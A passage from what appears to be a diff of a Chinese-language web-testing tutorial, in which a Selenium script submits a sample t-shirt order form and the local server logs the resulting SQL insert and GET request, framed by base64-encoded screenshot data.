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Ppx6PFnBra2tVf22DwYCdO3ciPz8fubm5ah273a4GOJM3BTZv3gy32z3t9t8EAzQREREREb0T4i1AP3r0aF63r5fNZoPNZou5jtfrjdokWxoZGcHU1NSMXtvhcETsr63H4OCgCsTReDyeafd7Lr0rnykRERERES1y8Rag29raMDw8PK+vQW/P8PBwzCnCiIiIiIiI3pp4C9B9fX148ODBvL4GvT0PHjyI2u+biIiIiIjorYq3AG232/Hw4UM0NzezJvo9Njw8jObmZjx8+BB2u32hd4eIiIiIiCj+ArTP58P4+Dj+/PNP/POf/8S1a9fw66+/srxH5dq1a/jnP/+JP//8E+Pj42oQNCIiIiIiogUVbwFa8vl8cLlccDgcsNvtLO9RcTgccLlcDM5ERERERPRuidcATURERERERDSnGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRggCYiIiIiIiLSgQGaiIiIiIiISAcGaCIiIiIiIiIdGKCJiIiIiIiIdGCAJiIiIiIiItKBAZqIiIiIiIhIBwZoIiIiIiIiIh0YoImIiIiIiIh0YIAmIiIiIiIi0oEBmoiIiIiIiEgHBmgiIiIiIiIiHRigiYiIiIiIiHRYkADNwsLCwsLCwsLCwsLCwvK+FwZoFhYWFhYWFhYWFhYWFhYdhQGahYWFhYWFhYWFhYWFhUVHYYBmYWFhYWFhYWFhYWFhYdFR5iVAExERERERES1SDNBEREREREREOjBAExEREREREenAAE1ERERERESkAwM0ERERERERkQ4M0EREREREREQ6MEATERERERER6cAATURERERERKQDAzQRERERERGRDgzQRERERERERDowQBMRERERERHpwABNREREREREpAMDNBEREREREZEODNBEREREREREOjBAExEREREREenAAE1ERERERESkAwM0ERERERERkQ4M0EREREREREQ6MEATERERERER6cAATURERERERKQDAzQRERERERGRDgzQRERERERERDowQBMRERERERHpwABNREREREREpAMDNBEREREREZEODNBEREREREREOjBAExEREREREenAAE1ERERERESkAwM0ERERERERkQ7/BwDhd1yvd49TAAAAAElFTkSuQmCC
+)
+
+现在，该表格已完全填写。 通过单击`submit`按钮，我们可以下订单：
+
+```py
+submit = gui_driver.find_element_by_name('submit')
+submit.click()
+
+```
+
+我们看到订单正在处理中，并且Web浏览器已切换到确认页面。
+
+```py
+print_httpd_messages()
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:19:49] INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'j.doe@example.com', 'Seattle', '98104')
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:19:49] "GET /order?item=tshirt&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=98104&terms=on&submit=Place+order HTTP/1.1" 200 -
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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